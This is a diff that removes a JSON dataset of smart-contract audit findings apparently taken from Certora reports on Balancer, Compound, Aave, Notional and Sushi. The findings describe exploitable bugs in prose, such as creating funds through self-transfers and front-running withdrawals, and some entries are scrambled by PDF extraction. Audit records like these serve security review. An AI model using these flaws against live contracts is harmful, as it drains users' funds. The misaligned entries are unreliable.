diff --git a/results/certora_findings.json b/results/certora_findings.json index 6d5ed27..07aedb5 100644 --- a/results/certora_findings.json +++ b/results/certora_findings.json @@ -1,1109 +1 @@ -[ - { - "title": "(M1) Unexpected root claims", - "body": "Executing a previously scheduled scheduleRootChange can result in an unexpected root claim. Here are two exemplary plausible scenarios that can lead to this issue: Erroneous Double Scheduling: The root can mistakenly schedule a root change twice to Alice. Alice then claims root powers. If Alice transfers root permissions to Bob at any point in the future, she could still claim herself as root by executing the other scheduled root transfer to herself. Intentional Backdoor: A root can schedule a root transfer to itself without executing it. At any later time, the original root can execute this root change and revoke root privileges from the current root. The security assumption is that the root is not malicious. It does not prevent this attack unless it is assumed that the current root and all previous roots in the system\u2019s history are not and will never be malicious. Additionally, the \ufb01rst scenario above does not necessarily stem from malicious intentions but rather from mistrust between the roots or execution mistakes. For example, if the system was deployed and initialized with an EOA root address, and later the root privileges were claimed by a DAO, we may not trust the EOA anymore, as it has no time delays or transparency, and it can be compromised. \fResponse Balancer is aware of this issue. Similarly, it can be used to avoid delays if a scheduled action is already in place. However, it is di\ufb03cult to keep track of the scheduled executions for speci\ufb01c actions and update them if the corresponding execution is executed or canceled. Balancer\u2019s team has deemed the added complexity of such a process to be not worthwhile.", - "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal-Verification-of-Balancer-TimelockAuthorizer-1.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "(L1) Non-root users could get roots permissions", - "body": "Somebody could get root permissions if there was a mistake in granting arguments and then make another malicious user an executor for an action they weren\u2019t supposed to execute. Response The permission system was rewritten. Under the new system, there is no non-root global granter.", - "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal-Verification-of-Balancer-TimelockAuthorizer-1.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "(L2) Can create a canceler for a non existing scheduledExecutionId", - "body": "The addCanceler() function does not prevent the root from mistakenly adding a canceler to a non-existent execution. This is because there are no checks that the scheduledExecutionId exists and because _isCanceler is a mapping, no out-of-bounds exception will occur. If a malicious user cancels future executions with that scheduledExecutionId, it can cause delays for sensitive tasks that must be rescheduled. \fResponse The scheduledExecutionId for an action cannot be predicted because it depends on others scheduling actions. Creating a canceler for an unknown id is unreasonable and, therefore, always a mistake. We updated the code to only allow creating cancelers for existing executions that have not been canceled or executed, or global cancelers.", - "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal-Verification-of-Balancer-TimelockAuthorizer-1.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "(L3) The system can be stuck with address(0) root", - "body": "If the default address value, address(0), is used as both the current and pending root when deploying the contract, the root will be invalid. This error cannot be recovered because only the root can set a new pending root. Response This is not an issue because the migrator forces the root to interact when deploying the contract.", - "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal-Verification-of-Balancer-TimelockAuthorizer-1.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "(L4) Nobody with root permissions", - "body": "If _pendingRoot and _root were equal, then after claiming root, there would be no one with root permissions. Response The issue was resolved after a rewrite of the permission system. \fSeverity: Informational Issue Inconsistency in adding and removing permissions Description There is an option to grant speci\ufb01c permissions to someone who already has global permissions for a given actionId and account. But there isn\u2019t the opposite option, to revoke a speci\ufb01c permission from someone if they have global permission. Response We disallowed granting speci\ufb01c permission to someone who already has global permissions.", - "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal-Verification-of-Balancer-TimelockAuthorizer-1.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Execution delay can be smaller than MIN_DELAY", - "body": "The check for the MIN_DELAY is not on the parameter that the data contains, so it was possible to set the delay below the MIN_DELAY. Response Balancer renamed the variable to _MINIMUM_CHANGE_DELAY_EXECUTION_DELAY to convey its meaning better.", - "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal-Verification-of-Balancer-TimelockAuthorizer-1.pdf", - "labels": [ - "Certora", - "Informational" - ] - }, - { - "title": "Loss of assets in BentoBox", - "body": "Rules Broken: allTokensAreInvested, integrityHarvest Description: When harvesting the profits, cTokens are transferred to BentoBox instead of the invested token. Fix: Transfer the invested token instead of cToken.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/SushiCompoundStrategyApr2021.pdf", - "labels": [ - "Certora", - "Critical" - ] - }, - { - "title": "Loss of assets in BentoBox", - "body": "Rules Broken: allTokensAreInvested, integrityExit Description: When exiting the strategy, all the tokens are passed to the owner instead of to BentoBox. Fix: Transfer to BentoBox instead of the owner. www.certora.com \f", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/SushiCompoundStrategyApr2021.pdf", - "labels": [ - "Certora", - "Critical" - ] - }, - { - "title": "Creating collateral from nothing by using transferCollateral", - "body": "Description: When calling transferCollateral() the new balances of the sender and the recipient are calculated and stored in two steps. Since the calculation is being done first for both users, it is possible to create funds from nothing by specifying src = dst . In this case the increment of dst balance overwrites the decrement of the src balance, effectively increasing the balance by the amount given. Properties Violated: Total collateral per asset (property #1) Verify transferAsset (property #12) Compound Response: This issue was fixed in commit c0d8a11f424747204ce680f0fe17441368f4d85c.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/06/CometReport-1.pdf", - "labels": [ - "Certora", - "Critical" - ] - }, - { - "title": "Creating base token from nothing by using transferBase", - "body": "\fIssue: Creating base token from nothing by using transferBase Description: When calling transferBase() the new balances of the sender and the recipient are calculated and stored in two steps. Since the calculation is being done first for both users, it is possible to create funds from nothing by specifying src = dst . In this case the increment of dst balance overwrites the decrement of the src balance, effectively increasing the balance by the amount given. Properties Violated: Total base token (property #5) Verify transferAsset (property #12) Compound This issue was fixed in commit Response: c0d8a11f424747204ce680f0fe17441368f4d85c.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/06/CometReport-1.pdf", - "labels": [ - "Certora", - "Critical" - ] - }, - { - "title": "Wrong calculation of principalValue", - "body": "Description: The function principalValue() is using the functions presentValueSupply() and presentValueBorrow() to calculate the principle value. It should use principalValueSupply() and principalValueBorrow() instead. Property Violated: -- Compound This issue was fixed in commit Response: ffac97079f6573cc7cdb8ebc4e024ffce55825e9.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/06/CometReport-1.pdf", - "labels": [ - "Certora", - "Critical" - ] - }, - { - "title": "Incorrect liquidation computation", - "body": "Description: When invoking absorbInternal() , accrue() is being called after the check isLiquidatable() . In practice, it means that the check whether a user is liquidatable is being done on a non-updated state of the system, i.e. on the state of the user from the last time an update was called. For example, a borrower can be not liquidatable at time $t=0$, then after some time $(t)$ passes and debts accumulate, the borrower enters a liquidatable state at time $t$. If at no point in time $t'\u2265t$ did anybody call the accrue() function through a financial action-- withdraw() , supply() , transfer() --a call to absorbInternal() will not allow users to absorb the borrower's assets even though in reality he/she should be liquidatable. \fIssue: Property Violated: -- Incorrect liquidation computation Compound This issue was fixed in commit Response: cf066c4995162d5ac7d455a33e442d8dc7cbb2bb.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/06/CometReport-1.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "Incorrect gain of assets, incorrect option to buyCollateral", - "body": "Description: withdrawReserves() and buyCollateral() use the getReserves() function to check the present value of totalSupply and totalBorrow . If accrue() is not called beforehand, the present values may not be fully up-to-date. As a result the calculated reserves amount will be inaccurate. This will prevent the governor from taking out its rightful assets, or mean that getReserves() retrieves a larger number than the governance. In addition, one might be able to buy collateral (at a discount) when not appropriate. Property Violated: Balance change vs accrue (property #9) Compound Response: This issue was fixed in commit 59def475c9ca9570f690201b7dd07a3ce1ed1a6b.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/06/CometReport-1.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "Incorrect collateral representation", - "body": "Description: absorbInternal() sets all of a user's collateral assets to 0, but never updates the user's assetIn() . This means that even though the collateral balance of a user is 0, the bit is still 'on' such that the function isInAsset() will return true. This wastes gas in methods like isBorrowCollateralized() , getBorrowLiquidity() , isLiquidatable() , getLiquidationMargin() , and absorbInternal() which count on the correct update of assetIn when iterating over collateral assets. Property Violated: AssetIn initialized with balance (property #8) Compound This issue was fixed in commit Response: 83211fa995a1e3bb79d98cbfdd453f0ce7f7b2e7. Gas Optimization \faccrue() can be called in absorb() instead of absorbInternal() - Currently accrue() is being called in absorbInternal() and therefore being called in every loop iteration over the array of accounts. The accrual can be moved to absorb() to save some unnecessary operations. Update of accrual time can be saved in some cases - The update lastAccrualTime = now_ in accrue() can be done inside the if (timeElapsed > 0) to save gas on storage. Redundant use of Safe64() - The use of Safe64() on asset.scale in isBorrowCollateralized and getBorrowLiquidity is redundant since scale is already a uint64 . Redundant assignment of TotalsCollateral to memory - In withdrawCollateral() there is an assignment of totalsCollateral into a local variable which is redundant as it's accessed only once throughout the method. Redundant check in absorbInternal() - In absorbInternal() there is no need to check if seizeAmount > 0 , because of the isInAsset() check beforehand. Redundant assignment of newBalance in absorbInternal() - In absorbInternal() , a more efficient way to execute the line newBalance = newBalance < 0 ? int104(0) : newBalance is by replacing it with if(newBalance < 0) { newBalance = 0} . All the gas optimization suggestions were implemented in commit 10ca0422e4e983d8384a08c5d19ecb34515b66aa.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/06/CometReport-1.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Token address duplicates not checked on calling initialize", - "body": "Description: Property Violated: AAVE Response: Upon calling initialize , no check is performed for duplicates in the L1 and L2 token arrays. A mistake in the function input can lead to two tokens on one side of the bridge corresponding to the same token on the other side. Community rule #2: shouldRevertInitializeTokens It is assumed that no duplicates are introduced by the trusted party in charge (Aave governance). In addition, validation of approval protects against that case for L1 tokens. Can be seen here. Discovered By Certora:", - "html_url": "https://www.certora.com/wp-content/uploads/2022/10/Formal-Verification-Report-of-Aave-Starknet-Bridge-3.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Front running of withdrawal", - "body": "After a withdrawal request is initiated on the L2 side by a user, it is possible for anyone to call withdraw from the L1 side on their behalf. The withdrawal payload message (L2->L1) doesn't include the boolean toUnderlyingAsset which determines the type of token to be paid to the redeemer - ATokens or underlying asset. Hence, a malicious user can front-run the original redeemer and decide the type of tokens they withdraw, with no special permissions necessary. Fixed in commit 3d00e2a. Transformation from dynamic to static amounts is not precisely reversible Description: AAVE Response:", - "html_url": "https://www.certora.com/wp-content/uploads/2022/10/Formal-Verification-Report-of-Aave-Starknet-Bridge-3.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "\fIssue:", - "body": "Transformation from dynamic to static amounts is not precisely reversible When transforming an amount of ATokens to static Atokens and back, usually by deposit and subsequent withdrawal or cancellation, the returned amount can be larger than the original one, meaning the user Description: can gain more L1 tokens than they should recieve. This is a result of rounding errors in the ray math library. We were able to prove the inconsistency for an arbitrary asset with an arbitrary liquidity index ( index ). The difference between the values is bounded by (index/RAY+1)/2 (see rule #3). Property Violated: Rule #2: dynamicToStaticInversible2 Rule #8: cancelAfterDepositGivesBackExactAmount AAVE Response: To fix this issue, a deeper change on the Aave protocol will be required. We acknowledge this issue however no action will be taken on the Bridge contract.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/10/Formal-Verification-Report-of-Aave-Starknet-Bridge-3.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Cancelling a deposit does not check for success of deposit on L2", - "body": "Cancelling a deposit by calling startDepositCancellation() checks only for non-zero message count of the deposit payload hash, i.e. that the payload indeed exists. It does not, however, check for the status of the deposit payload, i.e. whether it was handled by the other side. Therefore a great deal of trust is placed on the L2 (starkNet) confirmation proofs and update mechanism. A failure to send confirmation proof for successful deposit within the predetermined 5 day delay, will enable gaining tokens on both sides by canceling a successful deposit that has not yet received a confirmation. Rule #9: cannotCancelDepositAndGainBothTokens We assume that Starknet can write proofs for successful transactions within 5 days. All projects creating bridges between Ethereum and Starknet make this assumption. Description: Property Violated: AAVE Response:", - "html_url": "https://www.certora.com/wp-content/uploads/2022/10/Formal-Verification-Report-of-Aave-Starknet-Bridge-3.pdf", - "labels": [ - "Certora", - "Informational" - ] - }, - { - "title": "Malicious users can settle asstes using settlement rates of other", - "body": "assets Description: When the function SettlePortfolioAssets.settlePortfolio() settles an asset in the portfolio that must be settled, it first computes its settlement rate. Due to an optimization, it only computes the settlement rate if asset.maturity < blockTime. However, it settles liquidity token assets if asset.maturity <= blockTime, meaning that if asset.maturity equals blockTime (block.timestamp), then because the assets in the portfolio are settled one by one in a loop, if this asset isn\u2019t the first one that is being settled in the loop, this asset will be settled with the settlement rate of the previous asset that was settled. block.timestamp can be manipulated by miners, and a malicious user (which is also a miner) can arrange the assets in its portfolio in such an order that allows him to earn significant funds on the expense of the system, by settleing assets with different settlement rates, at the date of their maturity. Mitigation/Fix: Compute the settlement rate for an asset if asset.maturity <= blockTime, instead of only when asset.maturity < blockTime.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", - "labels": [ - "Certora", - "High" - ] - }, - { - "title": "Description:", - "body": "Assets in a portfolio aren\u2019t always unique If an asset is added to a portfolio using PortfolioHandler.addAsset() with isNewHint=true, but this asset already presents in the portfolio, then this asset will be inserted into the portfolioState.newAssets array. The effect of this is that the portfolio will end up having the same asset twice, instead of just one with its overall notional value. From now on, the second instance of that asset in the portfolio will be discarded. Mitigation/Fix: Remove the argument isNewHint from PortfolioHandler.addAsset() and act like it is always false. \fSeverity: Medium Issue: Deleting an asset from a portfolio twice causes the loss of other assets Description: If the function PortfolioHandler.deleteAsset() tries to delete an asset that was already deleted (its storageState equals to AssetStorageState.Delete), then it will swap the deleted asset\u2019s storage slot (which is currently located after any storage slot of active assets) with a storage slot of an active asset. The result is that the swapped active asset will be stored after the slot of the deleted asset and portfolioState.storedAssetLength will be decreased by 1. Meaning that these two assets (the deleted asset and the swapped active asset) will not be loaded, when loading the portfolio from storage. Mitigation/Fix: Add a require statement that prevents deletions of assets that were already deleted.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "SettlePortfolioAssets.settlePortfolio() also settles deleted assets", - "body": "Description: When the function SettlePortfolioAssets.settlePortfolio() settles the assets in the portfolio, it doesn\u2019t check whether the assets in the portfolio are active or they have been deleted, meaning that it also settles the deleted assets in the portfolio, if any. In addition, since every settlement also deletes the involved asset from the portfolio, settlement of a deleted asset will also triger the previous issue (Deleting an asset from a portfolio twice causes the loss of other assets). Mitigation/Fix: Settle only the active assets in the portfolio. \fSeverity: Medium Issue: Description: Currency ids in an account context can be modified in AccountContextHandler.setActiveCurrency() The 14 least significant bits of the flags argument in the function AccountContextHandler.setActiveCurrency() must be off because of these reasons: \u25cf If isActive=false then the 14 least significant bits in flags can modify the 14-bits currencyId when it is found inside accountContext.activeCurrencies (it can set off bits in currencyId). Therefore, these 14 bits in flags must be set off. \u25cf If isActive=true then the 14 least significant bits in flags can modify the 14-bits currencyId when it is found inside or inserted into accountContext.activeCurrencies (it can set on bits in currencyId). Therefore, these 14 bits in flags must be set off. Mitigation/Fix: Add a requirement for these 14 bits to be off or set them off at the beginning of this function. \fSeverity: Medium Issue: The function SettlePortfolioAssets.settlePortfolio() can revert unexpectedly in valid transactions Description: Recalling the previous issue with this function (Malicious users can settle asstes using settlement rates of other assets), if the asset that is being settled without computing its settlement rate (happens when asset.maturity equals blockTime) is the first asset in the loop that is being settled, then the settlement rate that will be used for its settlement will remain uninitialized, with the zero value. This will cause the settlement to failed due to a division by zero, when it calls the function convertFromUnderlying() and tries to devide by the uninitialize settlement rate. Mitigation/Fix: Compute the settlement rate for an asset if asset.maturity <= blockTime, instead of only when asset.maturity < blockTime. \fSeverity: Medium Issue: Authorized addresses can cause loss of asset tokens Description: Addresses that were authorized as global transfer operators using GovernanceAction.updateGlobalTransferOperator() are able to call BatchAction.batchBalanceAction and BatchAction.batchBalanceAndTradeAction with account=Notional (Notional\u2019s address) through ERC1155Action._checkPostTransferEvent(). With these functions, in the first action of the batch they can invoke BalanceHandler.depositAssetToken() with a token that has no transfer fee, and in the second action of the batch they can invoke TokenHandler.redeem(). This is what will happen in such a scenario: \u25cf In the first action, when the function BalanceHandler.depositAssetToken() is invoked, balanceState.netAssetTransferInternalPrecision is increased according to the deposit amount. Then, in BalanceHandler.finalize(), the function TokenHandler.transfer() is invoked with the asset token and the value of balanceState.netAssetTransferInternalPrecision (converted to external precision), and transfer tokens from the account (itself) to itself, and no tokens are actually transferred. \u25cf In the second action, in BalanceHandler.finalize(), the function TokenHandler.redeem() is invoked with the asset token and the amount we want to withdraw (it can be the entire balance of that account, we have just \u201cdeposited\u201d tokens to it), redeeming the asset tokens that other users have deposited into the system, and then the function TokenHandler.transfer() is invoked with the underlying token, transferring the amount of underlying tokens that the system received from the redeem action, to itself. The system is now unaware that is holds this underlying tokens and they will be unreachable, and effectively lost. Mitigation/Fix: Add a require statement in TokenHandler.transfer() that the account cannot be the contract itself (Notional\u2019s address), to prevent self transfers. Notional Response We\u2019ve added guards the prevent invalid addresses from accessing any of the trading or deposit actions in ActionGuards.sol \fSeverity: Low Issue: Description: Missing validation of currencyId, maturity and assetType in PortfolioHandler.addAsset() The function PortfolioHandler.addAsset() is missing require statements that validates the values of currencyId, maturity and assetType when a new asset is inserted into the portfolioState.newAssets array. The only validation is done when that portfolio is stored on storage, in PortfolioHandler.storeAssets(), during the internal call to _encodeAssetToBytes(). Mitigation/Fix: Add require statements that validates these values.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "Description:", - "body": "Incorrect calculation of zero\u2019s MSB The functionBitmap.getMSB() returns 0 for the input x=0, although the MSB of zero is not defined. Mitigation/Fix: Revert if the input x is zero.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "AccountContextHandler.setActiveCurrency() can insert an inactive", - "body": "currency id into an account context Description: If the arguments for AccountContextHandler.setActiveCurrency() are isActive=true and flags=0x0000 then the currencyId can be inserted into accountContext.activeCurrencies with no flags at all, meaning that it wasn\u2019t supposed to be inserted in the first place. Mitigation/Fix: Add a require statement that prevents flags from being zero when isActive=true. \fSeverity: Low Issue: PortfolioHandler.buildPortfolioState() incorrectly implements an optimization for adding multiple new assets Description: The function PortfolioHandler.buildPortfolioState() should initialize state.newAssets to an array with length of newAssetsHint, as an optimization for a following addition of multiple new assets, but it doesn\u2019t do it if assetArrayLength=0. Mitigation/Fix: Initialize state.newAssets also when assetArrayLength=0.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Description:", - "body": "PortfolioHandler.addAsset() and PortfolioHandler.storeAssets() incorrectly use portfolioState.newAssets.length as the number of new assets. The functions PortfolioHandler.addAsset() and PortfolioHandler.storeAssets() use portfolioState.newAssets.length as the number of new assets in the portfolio, although the portfolioState.newAssets array isn\u2019t necessarily full. The correct number of new assets is stored at portfolioState.lastNewAssetIndex. The value of portfolioState.newAssets.length can only be used as an upper bound for the number of new assets. Mitigation/Fix: Use portfolioState.lastNewAssetIndex as the number of new assets in the portfolio, instead of portfolioState.newAssets.length.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Description:", - "body": "Insufficient validation of currencyId in PortfolioHandler._encodeAssetToBytes() The function PortfolioHandler._encodeAssetToBytes() only requires that currencyId will fit in uint16, but it also must not be greater than Constants.MAX_CURRENCIES. Mitigation/Fix: Change the current require statement to restrict currencyId to be less than or equal to Constants.MAX_CURRENCIES. \fSeverity: Recommendation Issue: Description: Unnecessary checks for a constant value in AccountContextHandler.setActiveCurrency() The function AccountContextHandler.setActiveCurrency() checks the value of isActive 4 times on every loop iteration, although this value never changes. Mitigation/Fix: Save gas by checking the value of isActive only once.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Description:", - "body": "Unnecessary array boundaries checks When loading an array element more than once, there is no reason to check again that the index doesn\u2019t exceed the array limits. Mitigation/Fix: Save gas by caching the array element in a local variable instead of loading it again.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", - "labels": [ - "Certora", - "Recommendation" - ] - }, - { - "title": "Computation of a value that isn\u2019t necessarily used in", - "body": "AccountContextHandler.isActiveInBalances() Description: The function AccountContextHandler.isActiveInBalances() computes isActive on every loop iteration, although it is not used in most iterations Mitigation/Fix: Save gas by computing isActive only when it is necessary.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", - "labels": [ - "Certora", - "Recommendation" - ] - }, - { - "title": "Early exit optimization in AccountContextHandler.isActiveInBalances()", - "body": "Description: The function AccountContextHandler.isActiveInBalances() can return false in case it finds currencyId in the active currencies \u201carray\u201d and its ACTIVE_IN_BALANCES flag is off. There is no reason to continue iterating over the rest of the active currencies. Mitigation/Fix: Save gas by returning false in this case, instead of continuing to iterate over the rest of the active currencies for no reason. \fSeverity: Recommendation Issue: Description: Complicated require statement in AccountContextHandler.setActiveCurrency() The complicated require statement after the while loop in AccountContextHandler.setActiveCurrency() that checks that the active currencies \u201carray\u201d contains less than 9 currencies, can be simplified to require(shifts < 9) because at this point, shifts equals the number of iterations that took place in the previous while loop that was iterating over this active currencies \u201carray\u201d. Mitigation/Fix: Save gas by simplifying this require statement to require(shifts < 9).", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", - "labels": [ - "Certora", - "Recommendation" - ] - }, - { - "title": "Unnecessary castings in FloatingPoint56.unpackFrom56Bits()", - "body": "Description: The function FloatingPoint56.unpackFrom56Bits() contains two unnecessary castings from uint256 to uint256. Mitigation/Fix: Remove these two unnecessary castings.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", - "labels": [ - "Certora", - "Recommendation" - ] - }, - { - "title": "Unnecessary casting in", - "body": "nTokenHandler.setNTokenCollateralParameters() Description: The function nTokenHandler.setNTokenCollateralParameters() contains an unnecessary casting from bytes32 to bytes32. Mitigation/Fix: Remove this unnecessary casting.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", - "labels": [ - "Certora", - "Recommendation" - ] - }, - { - "title": "Unnecessary castings in", - "body": "nTokenHandler.setArrayLengthAndInitializedTime() Description: The function nTokenHandler.setArrayLengthAndInitializedTime() contains two unnecessary castings from uint256 to uint256. Mitigation/Fix: Remove these two unnecessary castings. \fSeverity: Recommendation Issue: Description: Trivial require statement in nTokenHandler.setArrayLengthAndInitializedTime() The function nTokenHandler.setArrayLengthAndInitializedTime() requires lastInitializedTime to be greater than or equal to zero, even though it is a variable of type uint256. Mitigation/Fix: Remove this trivial require statement.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", - "labels": [ - "Certora", - "Recommendation" - ] - }, - { - "title": "Trivial if statement in SettlePortfolioAssets.settlePortfolio()", - "body": "Description: The function SettlePortfolioAssets.settlePortfolio() contains an if statement that checks whether an asset is a fCash, followed by an \u201celse if\u201d statement that checks if that asset is a liquidity token, while the only two options available for that asset\u2019s type are fCash and liquidity token. Mitigation/Fix: Save gas by changing the \u201celse if\u201d statement to an \u201celse\u201d statement.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", - "labels": [ - "Certora", - "Recommendation" - ] - }, - { - "title": "Unnecessary require statement in DateTime.getTradedMarket()", - "body": "Description: The function DateTime.getTradedMarket() begins with the require statement require(index != 0). This requirement is unnecessary because even without it, if index=0, there will still be a revert at the end of the function. Mitigation/Fix: Remove this unnecessary require statement. \fSeverity: Recommendation Issue: Unnecessary checked arithmetic in AssetHandler.getSettlementDate() Description: The add(Constants.QUARTER) operation in AssetHandler.getSettlementDate() perfoms an overflow check which is unnecessary because the function first subtracts marketLength, which is always greater than or equal to 2 * Constants.QUARTER in this case, and only then adds Constants.QUARTER to it. Mitigation/Fix: Save gas by replacing add(Constants.QUARTER) with + Constants.QUARTER.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", - "labels": [ - "Certora", - "Recommendation" - ] - }, - { - "title": "Trivial require statement in BalanceHandler._setBalanceStorage()", - "body": "Description: The function BalanceHandler._setBalanceStorage() requires lastClaimTime to be greater than or equal to zero, even though it is a variable of type uint256. Mitigation/Fix: Remove this trivial require statement.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/Notional1Nov2021.pdf", - "labels": [ - "Certora", - "Recommendation" - ] - }, - { - "title": "Non-compliance of maxFlashLoan in the FlashMinter facilitator to", - "body": "the EIP3156 standard Description: EIP3156 states that the function maxFlashLoan must return the maximum loan possible for the token, and return 0 instead of reverting if the token is not currently supported. The GhoFlashMinter implmentation, however, may revert if bucketLevel > bucketCapacity . This can happen if the bucket's capacity gets reduced below the bucket's level. Mitigation/Fix: Fixed on commit 038442d.", - "html_url": "https://www.certora.com/wp-content/uploads/2023/03/Aave_Gho_Formal_Verification_Report.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Accumulated interest can be manipulated by the user", - "body": "Description: Concrete Example: Calling rebalanceUserDiscountPerecent calculates the accumulated interest since the last operation made by the user. As part of this operation, the scaled discount given to the user is burned. This call decreases the total interest accumulated for this debt compared to the case of the exact same position taken without calling rebalance. Consider a user with scaledBalance = 100 , 50% discount rate and 0 accumulated interest at time t0 . The global index is 1, 2, and 4 at times t0 , t1 , and t2 respectively. In the first scenario the user calls rebalanceUserDiscountPercent at t1 which updates the scaled balance to 75 and the accumulated interest to 50. At t2 the \fIssue: Accumulated interest can be manipulated by the user user does the same call which updates the accumulated interest to 125. If instead, the user does only a single call to rebalanceUserDiscountPerecent at t2 , the accumulated interest balance would reach a total of 150. Mitigation/Fix: The use of rebalanceUserDiscountPercent or any other function that accumulates the user's interest, results in insignificant benefits for the end user given that the values of the expected configuration of interest and discount rates are low.", - "html_url": "https://www.certora.com/wp-content/uploads/2023/03/Aave_Gho_Formal_Verification_Report.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Using of WadRayMath.sol not according to guidelines", - "body": "WadRayMath.sol states that wadMul/wadDiv and rayMul/rayDiv should be called with both operands should have the same format of WAD / RAY respectively. In ghoVariableDebtToken.sol there are multiple occasions where rayMul and rayDiv are called with the first operand being some token balance (both scaled and not- scaled) which is formatted as WAD , and the second operand being the index which is formatted as RAY . The GhoVariableDebtToken contains code that belongs to the standard Aave VariableDebtToken implementation. Although it is not natural to use WadRayMath functions with operands that aren't in the same format, these calculations provides a result with correct format. Description: Mitigation/Fix:", - "html_url": "https://www.certora.com/wp-content/uploads/2023/03/Aave_Gho_Formal_Verification_Report.pdf", - "labels": [ - "Certora", - "Informational" - ] - }, - { - "title": "Precision loss during voting power transfer", - "body": "When calculating delegated balance on token transfer, the new delegated balance of a delegate was calculated with a small precision loss that violated the property after a delegator to delegatee1 transfers z amount of tokens. vpTransferWhenOnlyOneIsDelegating (Property #6) and others The issue was fixed in commit a287d134 and the relevant property was modified to be Description: Property Violated: AAVE Response: List of Issues Discovered Independently By The Community", - "html_url": "https://www.certora.com/wp-content/uploads/2022/09/Formal-Verification-Report-of-AAVE-Token-V3.pdf", - "labels": [ - "Certora", - "Low" - ] - }, - { - "title": "Wrong parameters order in a _transferWithDelegation call", - "body": "This issue was present in an intermediary version of the code given to the community to verify, but not in the finalized version that Certora has verified. It was introduced for a short period of time during development, and immediately fixed by the AAVE team. multiple properties The issue was fixed in commit 190c03f4 Description: Property Violated: AAVE Response:", - "html_url": "https://www.certora.com/wp-content/uploads/2022/09/Formal-Verification-Report-of-AAVE-Token-V3.pdf", - "labels": [ - "Certora", - "High" - ] - }, - { - "title": "Withdrawal of all KashiPair assets", - "body": "Rules Broken: No change to other\u2019s borrowed asset Description: A user can borrow all available asset tokens on behalf of a third party that is not checked for solvency. Fix: Users can only borrow for themselves and only when they are in a solvent state.", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/KashiLendingMar2021.pdf", - "labels": [ - "Certora", - "Critical" - ] - }, - { - "title": "Loss of system's assets during liquidation", - "body": "Rules Broken: Balance change in liquidation Description: The cook function, a function for batch processing, allows a user to invoke KashiPair the collateral is transferred to the user but no assets are transferred to the system. to perform a liquidation, in which case, Fix: Disabled calls to KashiPair in the cook function", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/KashiLendingMar2021.pdf", - "labels": [ - "Certora", - "Critical" - ] - }, - { - "title": "Denial of service in deposit", - "body": "Rules Broken: Integrity of add collateral Description: Due to the miscalculation of total collateral, when a user skims (adds collateral to the KashiPair and then claims the excess balance) the transaction reverts. Fix: Total collateral calculation corrected www.certora.com \fSeverity: Medium Status: Fixed Issue: Malicious KashiPair may trick users to lose assets Rules Broken: N/A Description: A kashiPair initialized with only asset token and no collateral token can be reinitialized with a different asset token, thus causing loss to asset providers. Fix: Cannot initialize a KashiPair with zero collateral", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/KashiLendingMar2021.pdf", - "labels": [ - "Certora", - "High" - ] - }, - { - "title": "Utilization computation", - "body": "Rules Broken: Integrity of interest accrued Description: During accrue, the utilization is miscalculated, which might make the utilization more than 100%. Fix: Utilization calculation corrected in accrue", - "html_url": "https://www.certora.com/wp-content/uploads/2022/02/KashiLendingMar2021.pdf", - "labels": [ - "Certora", - "Medium" - ] - }, - { - "title": "Loss of assets and higher joining requirement 